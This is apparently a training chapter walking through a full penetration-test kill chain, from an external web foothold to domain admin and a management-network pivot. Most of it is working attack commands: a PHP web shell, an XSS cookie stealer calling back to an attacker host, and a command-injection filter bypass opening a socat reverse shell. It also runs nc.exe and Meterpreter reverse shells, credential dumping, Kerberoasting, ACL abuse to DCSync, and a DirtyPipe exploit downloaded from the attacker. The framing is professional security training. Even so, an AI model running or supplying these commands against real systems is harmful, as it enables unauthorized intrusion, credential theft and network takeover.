Chapter 8: Enterprise Kill Chain Capstone¶
Tags: #capstone #enterprise #kill-chain #multi-pivot #double-pivot #nfs-credentials #dnn #targeted-kerberoasting #acl-chain #genericwrite #dcsync #dirtypipe #management-network
Overview¶
This chapter is a full end-to-end enterprise engagement walkthrough. Unlike the preceding chapters which are technique reference libraries, this is a narrative kill chain — how multiple techniques chain together across real-world infrastructure. Use it to: (1) understand the sequencing and decision logic of a full engagement, (2) see how individual findings compound toward DA, and (3) spot patterns in your own assessments.
Scenario: External pentest against a target organization. Black-box start: one IP range, no credentials, no internal access. Goal: demonstrate the furthest-reaching compromise achievable.
Kill Chain Overview¶
PHASE 1: External Recon & Web App Attacks
↓ Command injection → initial shell (<found_user2>)
PHASE 2: Local Privilege Escalation — Linux (DMZ01)
↓ Audit log creds → su to <found_user3> → sudo openssl → root SSH key
PHASE 3: SSH Pivot into Internal Network
↓ SOCKS proxy through DMZ01 → discover 172.16.8.0/23
PHASE 4: NFS Share Exploitation → DNN Web App → SYSTEM on DEV01
↓ SAM dump → first domain user creds (<found_user4>:<CAPTURED_PASS>)
PHASE 5: AD Enumeration + Credential Compounding
↓ BloodHound + file shares + Snaffler + Kerberoasting + password spray
PHASE 6: ACL Chain — GenericWrite → Kerberoast → GenericAll → DCSync
↓ All domain hashes dumped
PHASE 7: Domain Admin on DC01 — SSH keys found in shares
PHASE 8: Double Pivot → Management Network (172.16.9.0/23)
↓ DirtyPipe → root on MGMT01
Phase 1: External Web Application Attacks¶
1a. Subdomain/VHost Enumeration¶
# Fast top-1000 scan on target
sudo nmap -sS --top-ports 1000 -T4 -Pn <TARGET_IP> -oA recon/nmap/fast_scan
# VHost fuzzing
ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt \
-u http://<TARGET_IP> \
-H "Host: FUZZ.<TARGET_DOMAIN>" \
-fs <DEFAULT_SIZE> \
-o recon/web/vhosts.json
1b. WordPress — WPScan + Weak Creds + Theme Editor RCE¶
# Enumerate plugins, themes, users
sudo wpscan -e ap -t 500 --url http://ir.<TARGET_DOMAIN>
# Password brute-force (admin users found from wpscan)
wpscan --url http://ir.<TARGET_DOMAIN> -P /usr/share/wordlists/rockyou.txt -U <found_user1>
# Once logged in as admin → Appearance → Theme Editor → inactive theme → 404.php
# Insert PHP web shell:
# <?php system($_GET['<PARAM>']); ?>
1c. SQL Injection — Manual + SQLMap¶
# Test payload in vulnerable field
# ' union select null,database(),user(),@@version -- //
# Automated
sqlmap -r sqli.txt --dbms=mysql --dbs --tables --dump
1d. Blind XSS → Session Hijacking¶
# Start PHP listener to catch cookies
python3 -m http.server 9200
# Listener server (index.php for cookie capture):
cat > index.php << 'EOF'
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
EOF
# Payload: inject this into any form that an admin will view
echo '"><script src=http://<ATTACKER_IP>:9200/script.js></script>'
// script.js — cookie stealer
new Image().src='http://<ATTACKER_IP>:9200/index.php?c='+document.cookie
1e. SSRF via PDF Generation (HTML/JS Injection)¶
// Inject into PDF generation form field
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>
1f. XXE Injection¶
<!-- Intercept XML POST request, inject XXE payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE userid [
<!ENTITY xxetest SYSTEM "file:///etc/passwd">
]>
<root>
<subtotal>undefined</subtotal>
<userid>&xxetest;</userid>
</root>
1g. Command Injection with Filter Bypass — Initial Shell¶
Info
This technique shows how to bypass blacklists when common tools and operators are filtered. Key insight: single-quote characters around individual letters bypass word blacklists; ${IFS} replaces spaces; newline (%0a) separates commands without using &/;/|.
# Discover the injection (newline bypass + single-quote obfuscation)
curl "http://monitoring.<TARGET_DOMAIN>/ping.php?ip=127.0.0.1%0a'i'd"
# Output: uid=1004(<found_user2>)
# Read the filter source
curl "http://monitoring.<TARGET_DOMAIN>/ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php"
Filtered operators: & | ; \ / space
Filtered words: whoami echo rm mv cp id curl wget cd sudo mkdir grep pwd find kill ps uname hostname nc netcat
# socat not filtered → reverse shell (socat available at /usr/bin/socat)
# Craft URL-encoded payload:
GET /ping.php?ip=127.0.0.1%0a's'o'c'a't'${IFS}TCP4:<ATTACKER_IP>:<LPORT>${IFS}EXEC:bash
# Catch the shell
nc -lvnp <LPORT>
Phase 2: Linux Privilege Escalation (DMZ01)¶
# Check groups — <found_user2> is in adm group
id
# <found_user2> is in adm group → can read audit logs
# Read audit TTY logs (find creds in audit log replay)
aureport --tty | less
# Found: <found_user3> / <CAPTURED_PASS>
# Switch user
su <found_user3>
# Password: <CAPTURED_PASS>
# Check sudo rights
sudo -l
# (ALL) NOPASSWD: /usr/bin/openssl
# Steal root SSH private key using openssl
LFILE=/root/.ssh/id_rsa
sudo /usr/bin/openssl enc -in $LFILE
# Output: -----BEGIN OPENSSH PRIVATE KEY----- ...
# Save key locally on attacker, SSH as root
chmod 600 dmz01_root_key
ssh -i dmz01_root_key root@<DMZ01_IP>
Phase 3: SSH Pivot into Internal Network¶
# Set up SOCKS proxy through DMZ01 (from attack box)
ssh -D 8081 -N -i dmz01_root_key root@<DMZ01_IP>
# Configure proxychains
echo "socks4 127.0.0.1 8081" >> /etc/proxychains.conf
# Ping sweep internal network (172.16.8.0/23)
# Run FROM dmz01 shell (no proxychains needed for this):
for i in $(seq 254); do ping 172.16.8.$i -c1 -W1 & done | grep from
Discovered internal hosts: | IP | Role | Key Ports | |----|------|-----------| | 172.16.8.3 | DC01 (Domain Controller) | 53, 88, 389, 445, 636 | | 172.16.8.20 | DEV01 (Windows dev server) | 80, 445, 2049 (NFS), 3389 | | 172.16.8.50 | MS01 (Management server) | 445, 5985, 3389, 8080 |
# Port scan key hosts through proxy
proxychains nmap -sT -Pn -p 21,22,80,443,445,3389,5985,8080,2049 172.16.8.20 172.16.8.50 172.16.8.3
Phase 4: NFS Share → DNN → SeImpersonate → SYSTEM¶
4a. NFS Share Credential Extraction¶
# Enumerate NFS shares
proxychains showmount -e 172.16.8.20
# Mount the share (from DMZ01 as root — no auth needed)
mkdir /tmp/DEV01
mount -t nfs 172.16.8.20:/DEV01 /tmp/DEV01
# Hunt for credentials in web config files
find /tmp/DEV01 -name "web.config" -o -name "*.config" | xargs grep -l "password\|Password" 2>/dev/null
cat /tmp/DEV01/DNN/web.config
# Found: Administrator:<CAPTURED_PASS>
4b. DNN (DotNetNuke) → RCE via SQL Console¶
# Log into DNN admin panel
# http://172.16.8.20/ → admin:<CAPTURED_PASS>
# In admin panel: Settings → SQL Console
# Enable xp_cmdshell:
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'
# Allow .exe and .asp file uploads:
# Settings → Security → More Security Settings → Allowable File Extensions → add ".exe,.asp"
# Upload: nc.exe, PrintSpoofer64.exe, ASP webshell
# Access webshell and get interactive shell
4c. SeImpersonatePrivilege → SYSTEM¶
# Check privileges
whoami /priv
# SeImpersonatePrivilege Enabled
# Use PrintSpoofer to get SYSTEM shell
C:\DotNetNuke\Portals\0\PrintSpoofer64.exe -c "C:\DotNetNuke\Portals\0\nc.exe <ATTACKER_IP> <LPORT> -e cmd"
# Catch shell — now SYSTEM on DEV01
4d. SAM/LSA Dump → First Domain Credentials¶
# Dump registry hives
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.SAVE
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.SAVE
reg save HKLM\SAM C:\Windows\Temp\SAM.SAVE
# Transfer to attack box (SMB server or HTTP)
# On attacker: impacket-smbserver share /tmp/share -smb2support
# copy C:\Windows\Temp\SYSTEM.SAVE \\<ATTACKER_IP>\share\
# Extract hashes on attacker
impacket-secretsdump LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE
# Key findings:
# SOME.DOMAIN\<found_user4>: <CAPTURED_PASS> (from LSA secrets)
# Administrator: aad3b435b51404eeaad3b435b51404ee:<HASH>
<found_user4>:<CAPTURED_PASS>
Phase 5: AD Enumeration + Credential Compounding¶
5a. BloodHound Collection¶
# From DEV01 (domain-joined) as <found_user4>
.\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\
# Transfer .zip to attacker → upload to BloodHound
# Key BloodHound findings:
# <found_user4> → ForceChangePassword → <found_user6>
# <found_user5> → GenericWrite → <found_user7>
# <found_user7> → GenericAll → SERVER ADMINS group
# SERVER ADMINS → DCSync rights on domain
5b. Password Spray → More Domain Creds¶
# From DEV01 or via proxychains
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -Verbose
# Found: <found_user8>:Welcome1, <found_user9>:Welcome1
5c. Snaffler + Share Hunting → Service Account Creds¶
# Hunt shares for credentials
.\Snaffler.exe -s -d some.domain -o snaffler.log -v data
# Key finds:
# IT/Private/Development/SQL Express Backup.ps1 → <found_user10>:<PASS>
# SYSVOL → <script>.vbs → account:<CAPTURED_PASS>
# CrackMapExec spider shares
proxychains crackmapexec smb 172.16.8.3 -u <found_user6> -p '<NEW_PASS>' -M spider_plus --share 'Department Shares'
5d. Kerberoasting → Service Account Hashes¶
Get-DomainUser * -SPN | select samaccountname
# Many SPNs: azureconnect, backupjob, mssqlsvc, sqldev, svc_sql...
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\spns.csv -NoTypeInformation
5e. ACL Exploitation — ForceChangePassword on ¶
# <found_user4> has ForceChangePassword over <found_user6> (from BloodHound)
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity <found_user6> -AccountPassword (ConvertTo-SecureString '<NEW_PASS>' -AsPlainText -Force) -Verbose
Phase 6: ACL Chain → DCSync¶
Decision: → GenericWrite → → GenericAll → SERVER ADMINS → DCSync¶
6a. Get Credentials from MS01¶
# WinRM to MS01 with <found_user10> creds from Snaffler find
proxychains evil-winrm -i 172.16.8.50 -u <found_user10> -p '<PASS_FROM_SCRIPT>'
# Read unattend.xml
type C:\Panther\unattend.xml
# Found: <found_user11>:<CAPTURED_PASS>
# Exploit Sysax local priv esc:
# 1. Create C:\Windows\Temp\pwn.bat: net localgroup administrators <found_user11> /add
# 2. Open SysaxAutomation scheduler
# 3. Add scheduled task → monitor folder → run pwn.bat
# 4. Uncheck "Login as following user" (runs as SYSTEM)
# 5. Create a file in monitored folder → task triggers → <found_user11> added as admin
# Run Mimikatz as admin
mimikatz.exe
privilege::debug
token::elevate
lsadump::secrets
# Found: DefaultPassword: <CAPTURED_PASS>
# DefaultUserName: <found_user5>
# Credential: <found_user5>:<CAPTURED_PASS>
6b. Targeted Kerberoasting via GenericWrite¶
# <found_user5> has GenericWrite over <found_user7> → set fake SPN → Kerberoast
$SecPassword = ConvertTo-SecureString '<CAPTURED_PASS>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('SOME\<found_user5>', $SecPassword)
# Add fake SPN to <found_user7>
Set-DomainObject -Credential $Cred -Identity <found_user7> -Set @{serviceprincipalname='acmetesting/LEGIT'} -Verbose
# Kerberoast <found_user7>
proxychains GetUserSPNs.py -dc-ip 172.16.8.3 SOME.DOMAIN/<found_user5>:<CAPTURED_PASS> -request-user <found_user7> -outputfile <found_user7>_tgs
hashcat -m 13100 <found_user7>_tgs /usr/share/wordlists/rockyou.txt
# Cracked: <found_user7>:<CRACKED_PASS>
6c. GenericAll on SERVER ADMINS → Add → DCSync¶
# <found_user7> has GenericAll over SERVER ADMINS
$timpass = ConvertTo-SecureString '<CRACKED_PASS>' -AsPlainText -Force
$timcreds = New-Object System.Management.Automation.PSCredential('SOME\<found_user7>', $timpass)
# Add <found_user7> to SERVER ADMINS (which has DCSync rights)
Add-DomainGroupMember -Identity 'Server Admins' -Members '<found_user7>' -Credential $timcreds -Verbose
6d. DCSync — All Domain Hashes¶
# DCSync with <found_user7> (now in SERVER ADMINS → has replication rights)
proxychains impacket-secretsdump <found_user7>:<PASS>@172.16.8.3 -just-dc-ntlm -outputfile domain_hashes
# Output: domain_hashes.ntds
# administrator:500:aad3b435b51404eeaad3b435b51404ee:<DA_NTLM>
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<KRBTGT_HASH>
# [All domain user hashes]
Phase 7: Domain Admin Access + Pivoting Setup¶
# PTH to DC01 as Administrator
proxychains evil-winrm -i 172.16.8.3 -u administrator -H <DA_NTLM>
# Enumerate network interfaces on DC (looking for additional subnets)
ipconfig /all
# Found: Ethernet0 172.16.8.3/23, Ethernet1 172.16.9.3/23
# Management network: 172.16.9.0/23
# Retrieve SSH private keys from Department Shares
dir "C:\Department Shares\IT\Private\Networking\"
download "C:\Department Shares\IT\Private\Networking\<found_user6adm>-id_rsa" /tmp/<found_user6adm>-id_rsa
Phase 8: Double Pivot — Reaching the Management Network¶
Info
The management network (172.16.9.0/23) is only reachable FROM DC01 — not from the attack box or DMZ01 directly. This requires a multi-hop pivot chain: attack box → DMZ01 → DC01 → management network.
Architecture¶
[Attack Box]
↓ SSH/MSF tunnel
[DMZ01 — 10.129.x.x / 172.16.8.120]
↓ Meterpreter portfwd
[DC01 — 172.16.8.3 / 172.16.9.3]
↓ MSF autoroute + socks_proxy
[MGMT01 — 172.16.9.25]
Step 1: Meterpreter on DMZ01¶
# Generate Linux Meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f elf > shell.elf
# Upload to DMZ01 and execute
scp -i dmz01_root_key shell.elf root@<DMZ01_IP>:/tmp/
ssh -i dmz01_root_key root@<DMZ01_IP> "chmod +x /tmp/shell.elf && /tmp/shell.elf &"
# MSF multi/handler catches session
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 443
run
Step 2: Port Forward Through DMZ01 for DC01 Callback¶
(Meterpreter session 1 — dmz01)
portfwd add -R -l 8443 -p 1234 -L <ATTACKER_IP>
# Now 172.16.8.120:1234 forwards to attacker:8443
Step 3: Meterpreter on DC01¶
# Generate Windows x64 Meterpreter pointing to DMZ01 as relay
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.8.120 LPORT=1234 -f exe > dc_shell.exe
# Upload via evil-winrm session to DC01
upload dc_shell.exe C:\Windows\Temp\
# Execute
C:\Windows\Temp\dc_shell.exe
# MSF catches second session (via portfwd relay)
Step 4: Route to Management Network via DC01 Session¶
(msfconsole)
use post/multi/manage/autoroute
set SESSION 2 # DC01 session
set SUBNET 172.16.9.0
run
# Verify routes
run autoroute -p
# Start SOCKS proxy for management network
use auxiliary/server/socks_proxy
set SRVPORT 9050
set VERSION 4a
run -j
# Update proxychains to point to port 9050
Step 5: SSH into MGMT01¶
chmod 600 /tmp/<found_user6adm>-id_rsa
proxychains ssh -i /tmp/<found_user6adm>-id_rsa <found_user6adm>@172.16.9.25
Phase 9: Linux Privilege Escalation on MGMT01 (DirtyPipe)¶
# Check kernel version
uname -r
# 5.10.0-051000-generic → vulnerable to CVE-2022-0847 (Dirty Pipe)
# Find SUID binary to overwrite
find / -perm -4000 2>/dev/null
# /usr/lib/openssh/ssh-keysign (good target)
# Compile DirtyPipe exploit
wget http://<ATTACKER_IP>/dirtypipe.c -O /tmp/dp.c
gcc /tmp/dp.c -o /tmp/dp
chmod +x /tmp/dp
# Exploit — overwrites SUID binary temporarily, drops root shell
/tmp/dp /usr/lib/openssh/ssh-keysign
# [+] popping root shell..
id
# uid=0(root) gid=0(root) groups=0(root)
# CLEANUP — restore the overwritten SUID binary after exploitation
# DirtyPipe exploit v2 auto-restores, but verify:
ls -la /usr/lib/openssh/ssh-keysign
Key Chaining Patterns (Lessons for Your Engagements)¶
Pattern 1: Credential Reuse Chains¶
web.config (NFS) → DNN admin → xp_cmdshell → SYSTEM → LSA dump → domain user
LSA secrets → service account → WinRM → unattend.xml → local admin → Mimikatz → next account
Pattern 2: ACL Escalation Chains¶
User A → ForceChangePassword → User B (change B's password)
User A → GenericWrite → User C (set fake SPN → Kerberoast C)
User C → GenericAll → Group (add C to group)
Group → DCSync → all domain hashes
Pattern 3: Network Pivot Depth¶
External → perimeter host (command injection)
Perimeter → internal network (SSH SOCKS)
Internal → second segment (Meterpreter portfwd + autoroute)
Second segment → management/OOB network (double-hop SOCKS)
Pattern 4: Privilege Escalation Compounding¶
Unprivileged web shell → audit logs (adm group) → service account password
Service account → sudo NOPASSWD (openssl) → root SSH key
Root → network pivot → internal NFS share → credentials
Unique Techniques Summary¶
| Technique | Chapter Reference | When to Use |
|---|---|---|
Command injection filter bypass (${IFS}, quoted chars, %0a) |
§ 1g | Blacklist-based CMDi filtering |
Audit log TTY capture (aureport --tty) |
§ 2 | Linux host with adm group membership |
| sudo openssl → file read (GTFOBin) | § 2 | openssl in sudo NOPASSWD |
| NFS world-readable share → web.config | § 4a | NFS port 2049 open on internal host |
| DNN SQL Console → xp_cmdshell → SYSTEM | § 4b | DotNetNuke with admin access |
| Sysax local priv esc (scheduled task as SYSTEM) | § 6a | Sysax Automation installed on Windows |
| LSA secrets DefaultPassword key | § 6a | Windows auto-login configured |
| GenericWrite → fake SPN → targeted Kerberoast | § 6b | BloodHound shows GenericWrite |
| Meterpreter portfwd + autoroute double pivot | § 8 | 3rd network segment, no direct access |
| DirtyPipe kernel exploit (CVE-2022-0847) | § 9 | Linux kernel 5.8-5.17 |
Engagement Completion Checklist¶
Before writing the report, verify you have evidence for:
│
├── Each initial access vector (screenshot or command output)
├── Every credential set obtained (masked, not plaintext in notes)
├── Privilege escalation path on each host
├── Screenshot of DA-level access (whoami + hostname on DC)
├── Screenshot of management network access
├── BloodHound export (shows the ACL chain visually)
├── List of all high-risk findings with CVSS scores
└── Cleanup notes: removed shells, cleared portfwds, removed persistence
→ Chapter 9: Documentation & Reporting